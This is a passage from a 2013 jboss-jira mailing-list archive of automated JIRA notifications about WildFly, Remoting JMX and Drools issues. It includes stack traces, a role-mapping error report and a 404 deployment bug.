	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:258) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:143) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler.internalExecute(TransactionalProtocolOperationHandler.java:218) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler$ExecuteRequestHandler.doExecute(TransactionalProtocolOperationHandler.java:130) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler$ExecuteRequestHandler$1.run(TransactionalProtocolOperationHandler.java:109) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler$ExecuteRequestHandler$1.run(TransactionalProtocolOperationHandler.java:105) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_17]
	at javax.security.auth.Subject.doAs(Subject.java:356) [rt.jar:1.7.0_17]
	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler$GetSubjectResponseHandler$1$1.run(TransactionalProtocolOperationHandler.java:196) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler$GetSubjectResponseHandler$1$1.run(TransactionalProtocolOperationHandler.java:192) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_17]
	at org.jboss.as.controller.remote.TransactionalProtocolOperationHandler$GetSubjectResponseHandler$1.execute(TransactionalProtocolOperationHandler.java:192) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296) [wildfly-protocol-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518) [wildfly-protocol-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.1.Final.jar:2.1.1.Final]
{code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 11:54:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 17 Sep 2013 11:54:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-71) Release Remoting JMX 2.0.0.CR3
In-Reply-To: <JIRA.12500855.1379431958000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500855.1379431958000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500855.1379431958000.30859.1379433243430@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-71?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse resolved REMJMX-71.
------------------------------------

    Resolution: Done

    
> Release Remoting JMX 2.0.0.CR3
> ------------------------------
>
>                 Key: REMJMX-71
>                 URL: https://issues.jboss.org/browse/REMJMX-71
>             Project: Remoting JMX
>          Issue Type: Task
>          Components: Build
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 2.0.0.CR3
>
>
> This contains a follow up commit for REMJMX-68.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 12:06:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 17 Sep 2013 12:06:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2037) Login as user with no role
 assigned leads to 500 error page
In-Reply-To: <JIRA.12500302.1378733298000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500302.1378733298000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500302.1378733298000.30913.1379433963698@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2037?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun resolved WFLY-2037.
-------------------------------

    Resolution: Done

    
> Login as user with no role assigned leads to 500 error page
> -----------------------------------------------------------
>
>                 Key: WFLY-2037
>                 URL: https://issues.jboss.org/browse/WFLY-2037
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Jakub Cechacek
>            Assignee: Heiko Braun
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> Some message other than the default 500 error page should be displayed in such case. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 12:14:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 17 Sep 2013 12:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2099) Error upon role assignment
In-Reply-To: <JIRA.12500862.1379434427881@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500862.1379434427881@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500862.1379434427881.30957.1379434443506@jira02.app.mwc.hst.phx2.redhat.com>

Heiko Braun created WFLY-2099:
---------------------------------

             Summary: Error upon role assignment
                 Key: WFLY-2099
                 URL: https://issues.jboss.org/browse/WFLY-2099
             Project: WildFly
          Issue Type: Feature Request
          Components: Domain Management
            Reporter: Heiko Braun
            Assignee: Brian Stansberry
             Fix For: 8.0.0.Beta1


When adding a role assigmment as 'administrator" i get this:

{noformat}
[Host Controller] 18:12:36,723 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-9) JBAS014613: Operation ("add") failed - address: ([
[Host Controller]     ("core-service" => "management"),
[Host Controller]     ("access" => "authorization"),
[Host Controller]     ("role-mapping" => "ADMINISTRATOR"),
[Host Controller]     ("include" => "user-administrator at ManagementRealm")
[Host Controller] ]) - failure description: "JBAS015285: The runtime role mapping configuration is inconsistent, the server must be restarted."
{noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 12:14:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 17 Sep 2013 12:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2099) Error when adding role
	assignment
In-Reply-To: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500862.1379434427000.30961.1379434443681@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2099?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-2099:
------------------------------

    Summary: Error when adding role assignment  (was: Error upon role assignment)

    
> Error when adding role assignment
> ---------------------------------
>
>                 Key: WFLY-2099
>                 URL: https://issues.jboss.org/browse/WFLY-2099
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> When adding a role assigmment as 'administrator" i get this:
> {noformat}
> [Host Controller] 18:12:36,723 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-9) JBAS014613: Operation ("add") failed - address: ([
> [Host Controller]     ("core-service" => "management"),
> [Host Controller]     ("access" => "authorization"),
> [Host Controller]     ("role-mapping" => "ADMINISTRATOR"),
> [Host Controller]     ("include" => "user-administrator at ManagementRealm")
> [Host Controller] ]) - failure description: "JBAS015285: The runtime role mapping configuration is inconsistent, the server must be restarted."
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 12:18:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 17 Sep 2013 12:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2099) Error when adding role
	assignment
In-Reply-To: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500862.1379434427000.30966.1379434683449@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2099?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2099:
-----------------------------------

    Issue Type: Bug  (was: Feature Request)

    
> Error when adding role assignment
> ---------------------------------
>
>                 Key: WFLY-2099
>                 URL: https://issues.jboss.org/browse/WFLY-2099
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> When adding a role assigmment as 'administrator" i get this:
> {noformat}
> [Host Controller] 18:12:36,723 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-9) JBAS014613: Operation ("add") failed - address: ([
> [Host Controller]     ("core-service" => "management"),
> [Host Controller]     ("access" => "authorization"),
> [Host Controller]     ("role-mapping" => "ADMINISTRATOR"),
> [Host Controller]     ("include" => "user-administrator at ManagementRealm")
> [Host Controller] ]) - failure description: "JBAS015285: The runtime role mapping configuration is inconsistent, the server must be restarted."
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 12:18:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 17 Sep 2013 12:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2099) Error when adding role
	assignment
In-Reply-To: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500862.1379434427000.30970.1379434683782@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2099?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2099:
-----------------------------------

    Priority: Critical  (was: Major)

    
> Error when adding role assignment
> ---------------------------------
>
>                 Key: WFLY-2099
>                 URL: https://issues.jboss.org/browse/WFLY-2099
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> When adding a role assigmment as 'administrator" i get this:
> {noformat}
> [Host Controller] 18:12:36,723 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-9) JBAS014613: Operation ("add") failed - address: ([
> [Host Controller]     ("core-service" => "management"),
> [Host Controller]     ("access" => "authorization"),
> [Host Controller]     ("role-mapping" => "ADMINISTRATOR"),
> [Host Controller]     ("include" => "user-administrator at ManagementRealm")
> [Host Controller] ]) - failure description: "JBAS015285: The runtime role mapping configuration is inconsistent, the server must be restarted."
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 12:32:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 17 Sep 2013 12:32:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2099) Error when adding role
	assignment
In-Reply-To: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500862.1379434427000.30997.1379435523430@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2099?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-2099:
------------------------------

    Description: 
When adding a role assigmment as 'administrator" i get this:

This request

{noformat}
{
    "address" => [
        ("core-service" => "management"),
        ("access" => "authorization"),
        ("role-mapping" => "ADMINISTRATOR"),
        ("include" => "user-administrator at ManagementRealm")
    ],
    "name" => "administrator",
    "type" => "USER",
    "realm" => "ManagementRealm",
    "operation" => "add"
}
{noformat}


... leads to

{noformat}
[Host Controller] 18:12:36,723 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-9) JBAS014613: Operation ("add") failed - address: ([
[Host Controller]     ("core-service" => "management"),
[Host Controller]     ("access" => "authorization"),
[Host Controller]     ("role-mapping" => "ADMINISTRATOR"),
[Host Controller]     ("include" => "user-administrator at ManagementRealm")
[Host Controller] ]) - failure description: "JBAS015285: The runtime role mapping configuration is inconsistent, the server must be restarted."
{noformat}

  was:
When adding a role assigmment as 'administrator" i get this:

{noformat}
[Host Controller] 18:12:36,723 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-9) JBAS014613: Operation ("add") failed - address: ([
[Host Controller]     ("core-service" => "management"),
[Host Controller]     ("access" => "authorization"),
[Host Controller]     ("role-mapping" => "ADMINISTRATOR"),
[Host Controller]     ("include" => "user-administrator at ManagementRealm")
[Host Controller] ]) - failure description: "JBAS015285: The runtime role mapping configuration is inconsistent, the server must be restarted."
{noformat}


    
> Error when adding role assignment
> ---------------------------------
>
>                 Key: WFLY-2099
>                 URL: https://issues.jboss.org/browse/WFLY-2099
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> When adding a role assigmment as 'administrator" i get this:
> This request
> {noformat}
> {
>     "address" => [
>         ("core-service" => "management"),
>         ("access" => "authorization"),
>         ("role-mapping" => "ADMINISTRATOR"),
>         ("include" => "user-administrator at ManagementRealm")
>     ],
>     "name" => "administrator",
>     "type" => "USER",
>     "realm" => "ManagementRealm",
>     "operation" => "add"
> }
> {noformat}
> ... leads to
> {noformat}
> [Host Controller] 18:12:36,723 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-9) JBAS014613: Operation ("add") failed - address: ([
> [Host Controller]     ("core-service" => "management"),
> [Host Controller]     ("access" => "authorization"),
> [Host Controller]     ("role-mapping" => "ADMINISTRATOR"),
> [Host Controller]     ("include" => "user-administrator at ManagementRealm")
> [Host Controller] ]) - failure description: "JBAS015285: The runtime role mapping configuration is inconsistent, the server must be restarted."
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 12:34:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 17 Sep 2013 12:34:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2099) Error when adding role
	assignment
In-Reply-To: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500862.1379434427000.31002.1379435643499@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2099?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-2099:
------------------------------

    Attachment: rbac-setup.txt

    
> Error when adding role assignment
> ---------------------------------
>
>                 Key: WFLY-2099
>                 URL: https://issues.jboss.org/browse/WFLY-2099
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>         Attachments: rbac-setup.txt
>
>
> When adding a role assigmment as 'administrator" i get this:
> This request
> {noformat}
> {
>     "address" => [
>         ("core-service" => "management"),
>         ("access" => "authorization"),
>         ("role-mapping" => "ADMINISTRATOR"),
>         ("include" => "user-administrator at ManagementRealm")
>     ],
>     "name" => "administrator",
>     "type" => "USER",
>     "realm" => "ManagementRealm",
>     "operation" => "add"
> }
> {noformat}
> ... leads to
> {noformat}
> [Host Controller] 18:12:36,723 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-9) JBAS014613: Operation ("add") failed - address: ([
> [Host Controller]     ("core-service" => "management"),
> [Host Controller]     ("access" => "authorization"),
> [Host Controller]     ("role-mapping" => "ADMINISTRATOR"),
> [Host Controller]     ("include" => "user-administrator at ManagementRealm")
> [Host Controller] ]) - failure description: "JBAS015285: The runtime role mapping configuration is inconsistent, the server must be restarted."
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 12:34:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 17 Sep 2013 12:34:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2099) Error when adding role
	assignment
In-Reply-To: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500862.1379434427000.31006.1379435643639@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2099?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805177#comment-12805177 ] 

Heiko Braun commented on WFLY-2099:
-----------------------------------

added role mapping setup script
                
> Error when adding role assignment
> ---------------------------------
>
>                 Key: WFLY-2099
>                 URL: https://issues.jboss.org/browse/WFLY-2099
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>         Attachments: rbac-setup.txt
>
>
> When adding a role assigmment as 'administrator" i get this:
> This request
> {noformat}
> {
>     "address" => [
>         ("core-service" => "management"),
>         ("access" => "authorization"),
>         ("role-mapping" => "ADMINISTRATOR"),
>         ("include" => "user-administrator at ManagementRealm")
>     ],
>     "name" => "administrator",
>     "type" => "USER",
>     "realm" => "ManagementRealm",
>     "operation" => "add"
> }
> {noformat}
> ... leads to
> {noformat}
> [Host Controller] 18:12:36,723 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-9) JBAS014613: Operation ("add") failed - address: ([
> [Host Controller]     ("core-service" => "management"),
> [Host Controller]     ("access" => "authorization"),
> [Host Controller]     ("role-mapping" => "ADMINISTRATOR"),
> [Host Controller]     ("include" => "user-administrator at ManagementRealm")
> [Host Controller] ]) - failure description: "JBAS015285: The runtime role mapping configuration is inconsistent, the server must be restarted."
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 13:30:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 13:30:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2028) An exploded war inside an
 archived ear returns 404
In-Reply-To: <JIRA.12500314.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500314.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500314.1378741350000.31143.1379439003417@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2028?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805185#comment-12805185 ] 

RH Bugzilla Integration commented on WFLY-2028:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 991244|https://bugzilla.redhat.com/show_bug.cgi?id=991244] from ASSIGNED to POST
                
> An exploded war inside an archived ear returns 404
> --------------------------------------------------
>
>                 Key: WFLY-2028
>                 URL: https://issues.jboss.org/browse/WFLY-2028
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>
> When an archived ear which includes an exploded war is deployed in EAP 6, the application seems to be deployed successfully but it returns status code 404. 
> 1. Start EAP 6 standalone mode
> 2. Put the attached test.ear to $JBOSS_HOME/standalone/deployments
> 3. Access the web application
>     curl -v http://localhost:8080/test/index.jsp 
> JBoss returns status code 404.
> JBoss returns actual response of web application's content.
> Additional info:
> Same application works in EAP 5. When an application is an exploded ear which includes an exploded war, it works in EAP 6.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 13:32:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 17 Sep 2013 13:32:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2099) Error when adding role
	assignment
In-Reply-To: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500862.1379434427000.31148.1379439123612@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2099?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse reassigned WFLY-2099:
--------------------------------------

    Assignee: Darran Lofthouse  (was: Brian Stansberry)

    
> Error when adding role assignment
> ---------------------------------
>
>                 Key: WFLY-2099
>                 URL: https://issues.jboss.org/browse/WFLY-2099
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>         Attachments: rbac-setup.txt
>
>
> When adding a role assigmment as 'administrator" i get this:
> This request
> {noformat}
> {
>     "address" => [
>         ("core-service" => "management"),
>         ("access" => "authorization"),
>         ("role-mapping" => "ADMINISTRATOR"),
>         ("include" => "user-administrator at ManagementRealm")
>     ],
>     "name" => "administrator",
>     "type" => "USER",
>     "realm" => "ManagementRealm",
>     "operation" => "add"
> }
> {noformat}
> ... leads to
> {noformat}
> [Host Controller] 18:12:36,723 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-9) JBAS014613: Operation ("add") failed - address: ([
> [Host Controller]     ("core-service" => "management"),
> [Host Controller]     ("access" => "authorization"),
> [Host Controller]     ("role-mapping" => "ADMINISTRATOR"),
> [Host Controller]     ("include" => "user-administrator at ManagementRealm")
> [Host Controller] ]) - failure description: "JBAS015285: The runtime role mapping configuration is inconsistent, the server must be restarted."
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 13:39:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Tue, 17 Sep 2013 13:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-264) JPAKnowledgeService stops to
 work suddenly
In-Reply-To: <JIRA.12500830.1379412043000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500830.1379412043000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500830.1379412043000.31157.1379439543427@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-264?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805189#comment-12805189 ] 

Davide Sottara commented on DROOLS-264:
---------------------------------------

Could you post a reproducer?
                
> JPAKnowledgeService stops to work suddenly
> ------------------------------------------
>
>                 Key: DROOLS-264
>                 URL: https://issues.jboss.org/browse/DROOLS-264
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>         Environment: PostgreSQL 8.4
> Linux Ubuntu
> JBoss 5.1.0
>            Reporter: Nedo Nedic
>            Assignee: Mark Proctor
>
> From time to time, while facts are being inserted into session and persisted in database, the following exception occurs.
> The session is no more updated because SQL sentences can't be executed anymore. Sometimes, when session is restored from marshalled snapshot the same error happens.
> 2013-09-17 11:17:03,959 ERROR [org.drools.persistence.jpa.JpaTimerJobInstance] Unable to execute timer job!
> java.lang.RuntimeException: Unable to load session snapshot
> 	at org.drools.persistence.SessionMarshallingHelper.loadSnapshot(SessionMarshallingHelper.java:96)
> 	at org.drools.persistence.SingleSessionCommandService.initKsession(SingleSessionCommandService.java:269)
> 	at org.drools.persistence.SingleSessionCommandService.execute(SingleSessionCommandService.java:369)
> 	at org.drools.persistence.jpa.JpaTimerJobInstance.call(JpaTimerJobInstance.java:34)
> 	at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:1)
> 	at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:303)
> 	at java.util.concurrent.FutureTask.run(FutureTask.java:138)
> 	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$301(ScheduledThreadPoolExecutor.java:98)
> 	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:207)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
> 	at java.lang.Thread.run(Thread.java:619)
> Caused by: java.lang.NullPointerException
> 	at org.drools.time.impl.JDKTimerService.removeJob(JDKTimerService.java:133)
> 	at org.drools.common.Scheduler.removeAgendaItem(Scheduler.java:75)
> 	at org.drools.common.DefaultAgenda.removeScheduleItem(DefaultAgenda.java:474)
> 	at org.drools.common.DefaultAgenda.removeActivation(DefaultAgenda.java:349)
> 	at org.drools.common.DefaultAgenda.cancelActivation(DefaultAgenda.java:687)
> 	at org.drools.reteoo.RuleTerminalNode.retractLeftTuple(RuleTerminalNode.java:320)
> 	at org.drools.reteoo.SingleLeftTupleSinkAdapter.doPropagateRetractLeftTuple(SingleLeftTupleSinkAdapter.java:224)
> 	at org.drools.reteoo.SingleLeftTupleSinkAdapter.propagateRetractLeftTuple(SingleLeftTupleSinkAdapter.java:98)
> 	at org.drools.reteoo.NotNode.propagateRetractLeftTuple(NotNode.java:444)
> 	at org.drools.reteoo.NotNode.assertObject(NotNode.java:142)
> 	at org.drools.reteoo.SingleObjectSinkAdapter.propagateAssertObject(SingleObjectSinkAdapter.java:59)
> 	at org.drools.reteoo.CompositeObjectSinkAdapter.propagateAssertObject(CompositeObjectSinkAdapter.java:364)
> 	at org.drools.reteoo.ObjectTypeNode.assertObject(ObjectTypeNode.java:235)
> 	at org.drools.reteoo.EntryPointNode.assertObject(EntryPointNode.java:240)
> 	at org.drools.marshalling.impl.ProtobufInputMarshaller.assertHandleIntoOTN(ProtobufInputMarshaller.java:483)
> 	at org.drools.marshalling.impl.ProtobufInputMarshaller.readFactHandles(ProtobufInputMarshaller.java:459)
> 	at org.drools.marshalling.impl.ProtobufInputMarshaller.readSession(ProtobufInputMarshaller.java:259)
> 	at org.drools.marshalling.impl.ProtobufInputMarshaller.readSession(ProtobufInputMarshaller.java:116)
> 	at org.drools.marshalling.impl.ProtobufMarshaller.unmarshall(ProtobufMarshaller.java:143)
> 	at org.drools.persistence.SessionMarshallingHelper.loadSnapshot(SessionMarshallingHelper.java:88)
> 	... 11 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 13:41:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Tue, 17 Sep 2013 13:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-264) JPAKnowledgeService stops to
 work suddenly
In-Reply-To: <JIRA.12500830.1379412043000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500830.1379412043000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500830.1379412043000.31160.1379439663450@jira02.app.mwc.hst.phx2.redhat.com>


